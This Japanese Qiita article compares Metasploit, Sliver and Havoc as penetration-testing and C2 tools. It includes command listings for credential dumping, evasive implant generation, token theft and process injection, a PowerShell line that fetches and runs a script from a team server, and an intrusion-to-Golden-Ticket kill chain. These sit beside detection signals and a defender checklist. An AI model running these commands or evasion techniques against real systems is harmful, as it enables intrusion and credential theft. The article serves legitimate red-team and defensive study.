0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

『Havoc・Sliver・Metasploitの違い』〜「3つの用途」を混同したまま使うと、本番のペネトレーションテストで詰まる〜

0
Posted at

要旨

 「シェルを取ったら Metasploit を使えばいい」「C2 フレームワークは Sliver か Havoc どちらかで十分」——こうした認識で道具を選ぶと、EDR が存在する実環境のペネトレーションテストで必ずつまずきます。Metasploit・Sliver・Havoc は 「競合ツール」ではなく「キルチェーンの異なるフェーズを担う道具」 です。本記事では、3ツールのアーキテクチャ・用途・EDR 回避能力の違いを技術的に体系化し、「いつ何を使うか」の判断基準を示します。さらに、2025 年以降に APT グループによる実際の攻撃キャンペーンに Sliver・Havoc が使われている現実から、防衛側がとるべき検知アプローチも論じます。


記事本文

1. まず「C2 フレームワーク」と「エクスプロイトフレームワーク」を分けて考える

 3 つのツールを比較する前に、根本的な分類を整理します。

ツールの分類:

エクスプロイトフレームワーク(Exploit Framework)
  → 脆弱性を「探して」「突いて」「シェルを取る」までが主目的
  → 例:Metasploit Framework

C2 フレームワーク(Command & Control Framework)
  → シェルを取った「その後」——永続化・横展開・データ窃取——が主目的
  → 例:Sliver、Havoc、Cobalt Strike

両方の側面を持つもの:
  → Metasploit には Meterpreter という C2 コンポーネントがある
  → ただし Meterpreter は「C2 専用フレームワーク」と比べると
    ステルス性・耐検知性において大きく劣る

 この分類を理解することが、3 ツールを正しく使い分けるための出発点です[1]。


2. キルチェーンにおける 3 ツールの位置づけ


3. 各ツールの基本プロフィール

Metasploit Framework

項目 内容
開発元 H.D. Moore(2003年)→ 現在は Rapid7 が管理
ライセンス Community 版は無料・Pro 版は有料(年間 $15,000+)
言語 Ruby(フレームワーク本体)
エージェント Meterpreter(C言語)
GitHub rapid7/metasploit-framework

 Metasploit は「脆弱性データベース+エクスプロイトエンジン」として世界最大規模を誇ります[2]。

主なコンテンツ(2026年時点):
  exploits       2,300+ (CVE ベースのエクスプロイトモジュール)
  auxiliary      1,200+ (スキャン・クラッキング・ファジングなど)
  post           400+   (ポストエクスプロイトモジュール)
  payloads       700+   (シェルコード・Meterpreter 各種)
  encoders       50+    (AV 回避エンコーダ)

Meterpreter の主な機能:

# Metasploit コンソールから Meterpreter セッションを開いた後

meterpreter > getuid               # ユーザー確認
meterpreter > getsystem            # 権限昇格を試みる
meterpreter > hashdump             # SAM データベースからハッシュ取得
meterpreter > run post/multi/recon/local_exploit_suggester  # PrivEsc候補列挙
meterpreter > run post/windows/gather/credentials/credential_collector
meterpreter > portfwd add -l 3389 -p 3389 -r 192.168.1.10  # ポートフォワード
meterpreter > load kiwi            # Mimikatz モジュールをロード
meterpreter > kiwi_cmd sekurlsa::logonpasswords

# ピボット(内部NWへの横展開)
meterpreter > run post/multi/manage/autoroute SUBNET=172.16.0.0 NETMASK=255.255.255.0
msf6 > use auxiliary/server/socks_proxy

Metasploit の弱点(なぜ本番で使いにくいのか):

EDR による検知率が極めて高い理由:

1. シグネチャが広く知られている
   → Meterpreter のバイナリシグネチャは
     ほぼすべての AV / EDR に登録済み
   → エンコーダ(shikata_ga_nai 等)も検知済み

2. コネクションパターンが自明
   → デフォルトポート(4444)や
     TCP リバースシェルの挙動がルール化されている

3. インメモリ実行でも検知される
   → Defender / CrowdStrike 等が
     Meterpreter のメモリシグネチャを検知

4. NTDLLフックに対する抵抗力がない
   → EDR がフックした API を素直に呼び出すため
     動作ベースの検知に引っかかる

Sliver

項目 内容
開発元 Bishop Fox(オープンソース)
ライセンス GNU GPLv3
言語 Go(サーバー・エージェント共に)
エージェント Implant(Session / Beacon モード)
GitHub BishopFox/sliver

 Sliver は「クロスプラットフォームの現代的 C2 フレームワーク」です。Bishop Fox が 2019 年ごろから開発し、2025〜2026 年時点で APT29(Cozy Bear)を含む複数の国家支援グループがすでに実際の攻撃で採用していることが確認されています[3]。

Sliver のアーキテクチャ:

Sliver の構成要素:

┌─────────────────────────────────┐
│  Operators(マルチプレイヤー対応)  │
│  sliver-client(CLI / GUI)       │
└─────────────┬───────────────────┘
              │ mTLS / gRPC
              ▼
┌─────────────────────────────────────────────────────────┐
│                    Sliver Server                         │
│  BoltDB(永続化)/ Listeners / Outbound C2              │
│  対応プロトコル:mTLS / HTTPS / DNS / WireGuard         │
└──────────────────────┬──────────────────────────────────┘
                       │
                       ▼
┌─────────────────────────────────┐
│           Sliver Implant        │
│  ターゲットホストで動作するエージェント │
│  Session モード:常時接続(リアルタイム)│
│  Beacon モード :定期チェックイン(ステルス)│
└─────────────────────────────────┘

Sliver の主なコマンド:

# ─── リスナー(C2 受信エンドポイント)の起動 ───
sliver > mtls                          # mTLS リスナー起動
sliver > https                         # HTTPS リスナー
sliver > dns --domains example.com     # DNS ビーコンのリスナー
sliver > wg                            # WireGuard リスナー

# ─── インプラント生成 ───
# Windows 向け mTLS ビーコン(基本形)
sliver > generate beacon \
    --mtls 192.168.1.100:443 \
    --os windows \
    --arch amd64 \
    --format exe \
    --save /tmp/beacon.exe

# EDR 回避オプション付き(シェルコード形式)
sliver > generate \
    --mtls 192.168.1.100:443 \
    --os windows \
    --format shellcode \
    --evasion sgn,checkvm,sleep,ppid \
    --save /tmp/evasive.bin

# Linux 向け WireGuard ビーコン
sliver > generate beacon \
    --wg 192.168.1.100 \
    --os linux \
    --arch amd64 \
    --format elf \
    --save /tmp/wg_beacon

# macOS 向け DNS ビーコン
sliver > generate beacon \
    --dns example.com \
    --os darwin \
    --arch arm64 \
    --format macho

# ─── ビーコンをインタラクティブセッションに昇格 ───
sliver > use <beacon_id>
sliver (beacon) > interactive

# ─── ポストエクスプロイト ───
sliver (session) > whoami
sliver (session) > getprivs
sliver (session) > getsystem
sliver (session) > ps                           # プロセス一覧
sliver (session) > migrate --pid 1234          # プロセスインジェクション
sliver (session) > execute-assembly loader.exe  # .NET アセンブリのインメモリ実行
sliver (session) > portfwd add -r 172.16.0.10:3389

Sliver の特徴的な検知回避技術:

1. バイナリごとの非対称暗号化
   → 生成するたびに異なる暗号鍵で動的コンパイル
   → ハッシュマッチングによる検知を無効化

2. Go ネイティブコンパイル
   → .NET / Reflective PE と比べて検知面が小さい
   → syscall を直接呼び出してフック済み API を回避

3. コンパイル時難読化(garble 互換)
   → 関数名・文字列の難読化でリバースエンジニアリングを困難に

4. DNS カナリー検知
   → Blue Team が DNS を監視している場合に通知する機能
   → 防衛側を「意識した設計」という逆説的な特徴

Havoc

項目 内容
開発元 @C5pider(オープンソース)
ライセンス GNU GPLv3
言語 C / C++(サーバー・エージェント共に)
エージェント Demon
GitHub HavocFramework/Havoc

 Havoc は「Windows ターゲットに特化した高度 EDR 回避 C2 フレームワーク」です[4]。Cobalt Strike の代替として設計されており、特に CrowdStrike・SentinelOne・Defender for Endpoint といったモダン EDR が導入された環境でのオペレーションに強みを持ちます[1]。

Havoc の Demon エージェントが実装する回避技術:

Demon の EDR 回避メカニズム:

1. Sleep Obfuscation(スリープ難読化)
   方式:Ekko または FOLIAGE アルゴリズム
   効果:ビーコンのスリープ中にシェルコードをメモリから暗号化して
         消去し、EDR のメモリスキャンを回避

2. x64 リターンアドレススプーフィング
   効果:コールスタックの正規プロセスへの偽装
         EDR がコールスタックを監視して不審なパターンを検知する
         ロジックを無効化

3. Indirect Syscalls(間接システムコール)
   効果:EDR フックが設定されている NTDLL の API を
         直接呼び出さず、カーネルへの直接 syscall で回避
         NtAllocateVirtualMemory・NtWriteVirtualMemory 等の
         API フックをバイパス

4. リフレクティブローディング
   効果:ディスクにファイルを書かず
         メモリ上に直接ロード(ファイルシステム検知を回避)

5. SMB named pipe C2
   効果:外部通信を使わず内部ネットワーク内での
         SMB 経由のビーコン通信(ファイアウォールのアウトバウンド
         検知を回避)

6. Token Vault(トークン金庫)
   効果:窃取したアクセストークンを一元管理し
         必要なタイミングで使い分け

Havoc の主なコマンド(Demon エージェント):

# ─── Havoc UI / コンソールでのコマンド ───

# 基本情報の確認
Demon > shell whoami
Demon > shell net user
Demon > shell ipconfig /all

# ポストエクスプロイト
Demon > token steal <PID>         # トークン窃取
Demon > token list                 # トークン一覧(Token Vault)
Demon > inject <PID> <shellcode>  # プロセスインジェクション

# 権限昇格
Demon > shell .\PrintSpoofer64.exe -i -c cmd  # SeImpersonatePrivilege
Demon > shell .\GodPotato.exe -cmd "cmd.exe"

# 認証情報収集
Demon > inline-execute mimikatz.exe
Demon > shell powershell -c "IEX(IWR 'http://team-server/PowerView.ps1');Find-InterestingDomainAcl"

# ラテラルムーブメント
Demon > shell .\PsExec.exe \\192.168.1.20 cmd
Demon > pivot smb                  # SMB named pipe でピボット

# ファイル操作
Demon > download C:\Users\Administrator\Desktop\flag.txt
Demon > upload /tmp/tool.exe C:\Windows\Temp\

# スクリーンショット・キーロガー
Demon > screenshot

4. 3 ツールの機能比較一覧

観点 Metasploit Sliver Havoc
主な用途 脆弱性エクスプロイト クロスプラットフォーム C2 Windows 特化 C2
エージェント Meterpreter Implant(Session/Beacon) Demon
実装言語 Ruby(fw)/ C(agent) Go C / C++
コスト 無料(Community) 無料(OSS) 無料(OSS)
GUI △(Armitage 等) △(Sliver GUI 開発中)
マルチオペレーター ✓(ネイティブ)
対応 OS(エージェント) Win / Linux / Mac Win / Linux / Mac Windows 特化(Linux 対応あり)
C2 トランスポート TCP / HTTP mTLS / WireGuard / HTTPS / DNS HTTP / HTTPS / SMB
通信暗号化 基本的 mTLS(証明書相互認証)/ WireGuard カスタム暗号
Sleep Obfuscation 限定的 ✓(Ekko / FOLIAGE)
Indirect Syscalls
スタックスプーフィング ✓(x64 対応)
リフレクティブロード
EDR 回避(総合) 高(Windows)
エクスプロイトモジュール ✓(2,300+)
検知シグネチャの蓄積 非常に多い 増加中 比較的少ない
学習コスト 低(ドキュメント豊富) 中〜高
用途に合う場面 初期アクセス / CTF 広範囲なオペレーション 本番 EDR 環境での C2

5. 実際の攻撃キャンペーンでの使われ方——防衛側が把握すべき現実

 2025 年以降、Sliver・Havoc は「レッドチームが使うツール」という枠を超え、実際の国家支援型 APT グループや犯罪グループが使用するツールとして頻繁に観測されています[3][5]。

実際の採用事例(2024〜2025年):

Sliver:
  ・APT29(Cozy Bear / ロシア)が Cobalt Strike から移行
  ・Ivanti ゼロデイ(CVE-2024-21887)の悪用後に展開
  ・ランサムウェアグループが攻撃インフラとして使用
  ・Microsoft・英国 NCSC が警告を発出

Havoc:
  ・Microsoft Defender for Endpoint の EDR を回避する
    攻撃キャンペーンで複数の APT が採用
  ・Microsoft Graph API を C2 チャンネルとして
    悪用するハイブリッド攻撃で使用
    (正規の Microsoft クラウドトラフィックに紛れる)
  ・2025 年のランサムウェアキャンペーンで観測

Metasploit:
  ・依然として広く使われるが、主に初期侵害・CTF・
    ペンテストの「発見フェーズ」に限定されつつある
  ・エクスプロイトコードの雛形・概念実証として活用

攻撃者は Cobalt Strike・Metasploit から Sliver・Havoc・Brute Ratel C4 などのモジュール型・オープンソース型フレームワークへの移行を続けており、防衛チームは従来のフレームワークを超えて検知カバレッジを拡大する必要があります。


6. 防衛側の視点——各ツールの検知シグナル

Metasploit の検知

Metasploit / Meterpreter の主な検知手法:

シグネチャベース検知(最も容易):
  → すべての主要 AV / EDR がシグネチャを保持
  → YARA ルール:Meterpreter の固定バイト列
  → VirusTotal 検知率:90%+ (エンコードなし)

ネットワーク検知:
  → デフォルトポート 4444 の TCP リバースシェル
  → シグネチャが既知の TLS 証明書(JARMスキャン)
  → 規則的な通信間隔(チェックイン)

メモリ検知:
  → インメモリの Meterpreter DLL のパターン
  → NtAllocateVirtualMemory → NtWriteVirtualMemory →
    NtCreateThreadEx の API 呼び出し連鎖

Event ID での追跡:
  → 4688(プロセス生成)でシェルを起動した親プロセス
  → Sysmon Event ID 7(DLL ロード)でリフレクティブ DLL
  → Sysmon Event ID 8(RemoteThread)でインジェクション

Sliver の検知

Sliver の検知手法:

ネットワーク検知:
  → WireGuard の予期しないトラフィック
  → mTLS での自己署名証明書("multiplayer/operators" 等の固定 CN)
  → 非標準ポート上の TLS(例:31337)
  → DNS ビーコンの特徴的なクエリパターン(長い乱数サブドメイン)

メモリ / プロセス検知:
  → Go ランタイムの特徴(goroutine スタックパターン)
  → メモリ上の "sliverpb" プロトバフのシグネチャ
  → Garble 難読化なしビルドでは関数名が可視

ファイルシステム検知:
  → Go バイナリ特有のファイルサイズ(~10MB+)
  → PE ヘッダーの Go 関連エントリ

Havoc の検知

Havoc の検知手法(より困難):

ネットワーク検知:
  → カスタム暗号化により通信内容の解析は困難
  → Microsoft Graph API を C2 として悪用する場合
    正規の microsoft.com との区別が難しい
  → C2 プロファイルのカスタマイズで User-Agent や
    URI パターンを偽装されると検知が特に難しい

メモリ検知(最も有効):
  → Sleep Obfuscation 中もメモリ整合性チェックで
    暗号化→復号のパターンを検知(Moneta / Pe-sieve)
  → Ekko / FOLIAGE のタイマーコールバックの特徴パターン
  → カーネルのコールスタック検証(ETW-Ti)

行動検知:
  → Indirect Syscalls のパターン
    (呼び出し元が ntdll.dll でない syscall)
  → リターンアドレスが ntdll.dll を指さない
    プロセス内コールスタックの異常
  → Token Vault の impersonation 操作

SIEM / EDR での検知ルール例(Sigma):
  → "NtAllocateVirtualMemory called from outside ntdll"
  → "ROP-like call chain detected in process memory"
  → "Self-signed TLS cert with unusual CN pattern"

7. 使い分けの実践——OSCP 試験・実務での判断基準

シナリオ別の推奨ツール:

CTF / OSCP(ペンテスト試験):
  推奨:Metasploit(エクスプロイト)+ Meterpreter(C2)
  理由:EDR がない環境がほとんど
       Metasploit の豊富なモジュールが最速
       OSCP は Metasploit の限定的な使用を許可

実務ペネトレーションテスト(EDR なし環境):
  推奨:Metasploit(エクスプロイト)→ Sliver(C2 に移行)
  理由:初期アクセスは Metasploit の資産を活用
       C2 は Sliver で安定・マルチオペレーター運用

実務ペネトレーションテスト(EDR あり・Windows):
  推奨:Metasploit(エクスプロイト)→ Havoc Demon(C2)
  理由:Meterpreter は EDR に即検知されるため
       シェル取得後は即 Havoc の Demon に移行
       Sleep Obfuscation・Indirect Syscalls で長期潜伏

Red Team 演習(APT エミュレーション):
  推奨:Sliver(広域・マルチプラットフォーム)+
        Havoc(Windows 高価値ターゲット)を組み合わせ
  理由:APT グループが実際に採用しているツールチェーン

典型的なキルチェーン例(本番 Windows 環境):

  1. Metasploit で VPN 製品の CVE を突いて初期侵入
  2. 取得したシェルで Havoc Demon のシェルコードをドロップ
  3. Demon を使って内部偵察(Impacket / BloodHound)
  4. DCSync で KRBTGT ハッシュを取得
  5. Golden Ticket で DC を制圧

8. 防衛チェックリスト

【Metasploit / Meterpreter の検知】
□ AV / EDR の Meterpreter シグネチャが最新状態か確認しているか
□ 4444 番ポートへのアウトバウンド TCP をブロックしているか
□ Sysmon Event ID 8(RemoteThread)の異常を SIEM で監視しているか

【Sliver の検知】
□ 非標準ポート上の TLS 通信(31337 等)を監視しているか
□ DNS ビーコンのクエリパターン(異常に長いサブドメイン)を検知しているか
□ Go バイナリの異常なプロセス起動を EDR で検知しているか
□ JARM スキャンで C2 サーバーの TLS フィンガープリントを確認しているか

【Havoc の検知】
□ ntdll.dll の外部から発生する syscall を検知するルールがあるか
□ 異常なコールスタック(ROP チェーン様パターン)を監視しているか
□ Moneta / Pe-sieve 等のメモリスキャナーを運用しているか
□ Microsoft Graph API への異常なアクセスパターンを監視しているか
□ ETW(Event Tracing for Windows)の TI(Threat Intelligence)を有効化しているか

【共通】
□ C2 インフラのリダイレクター(CDN・クラウドプロキシ)を
  通じた通信に対するドメインフロンティング検知があるか
□ 定期的に Mermaid / MITRE ATT&CK Navigator でカバレッジギャップを確認しているか
□ 攻撃者の最新ツール採用動向(APT29 の Sliver 移行等)を
  脅威インテリジェンスで追跡しているか

参考文献

[1] Redfox Cybersecurity. "Havoc C2 Framework: Red Team Guide to Setup, Commands, and Tradecraft." August 4, 2025.
https://www.redfoxsec.com/blog/havoc-c2-framework-a-red-teamers-complete-guide-to-setup-commands-and-tradecraft

[2] Vectra AI. "What is Metasploit? Framework, Meterpreter, and detection guide." February 9, 2026.
https://www.vectra.ai/topics/metasploit

[3] WizardCyber. "From Red Team Toy to Real-World C2: Hunting Sliver with Microsoft Defender XDR & Sentinel." January 30, 2026.
https://wizardcyber.com/hunting-sliver-c2-defender-xdr-sentinel/

[4] InfoSecStuff. "C2 Frameworks That Dominate the Underground." December 10, 2025.
https://infosecstuff.com/c2-frameworks-that-dominate-the-underground/

[5] AlphaHunt. "Modular C2 Frameworks Quietly Redefine Threat Operations for 2025-2026." October 21, 2025.
https://blog.alphahunt.io/modular-c2-frameworks-quietly-redefine-threat-operations-for-2025-2026/

[6] Bishop Fox. "Sliver — Official GitHub." BishopFox/sliver.
https://github.com/BishopFox/sliver

[7] HavocFramework. "Havoc — Official GitHub." HavocFramework/Havoc.
https://github.com/HavocFramework/Havoc

[8] RingSafe Academy. "C2 Frameworks — Cobalt Strike, Sliver, Havoc." April 29, 2026.
https://ringsafe.in/academy-redteam-c2/

[9] Medium(Maverick). "Sliver C2 Deep Dive: A Comprehensive Command & Control Framework Series." March 16, 2026.
https://medium.com/@maverickcx64/sliver-c2-deep-dive-a-comprehensive-command-control-framework-series-4f8ba55f7a45

[10] TechRepublic. "Sliver offensive security framework increasingly used by threat actors." November 11, 2022.
https://www.techrepublic.com/article/sliver-offensive-security-framework-increasingly-used-by-threat-actors/

[11] Corelight. "New Sliver C2 Detection Released." May 4, 2023.
https://corelight.com/blog/new-sliver-c2-detection-released-redteam-detected

[12] Bishop Fox. "Top Red Team Tools & C2 Frameworks for 2025." June 5, 2025.
https://bishopfox.com/blog/2025-red-team-tools-c2-frameworks-active-directory-network-exploitation

[13] Medium(Lord Murak). "Sliver C2 for Red team operations." January 8, 2026.
https://medium.com/@lord_murak/sliver-c2-for-red-team-operations-153135648218

[14] Hackers Arise. "Sliver: Building Command and Control (C2) During a Cyber War — Sessions, Beacons, and Implant Fundamentals." July 17, 2025.
https://hackers-arise.com/sliver-building-command-and-controlc2-during-a-cyb/

[15] Rapid7. "Metasploit Framework — Official GitHub." rapid7/metasploit-framework.
https://github.com/rapid7/metasploit-framework

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?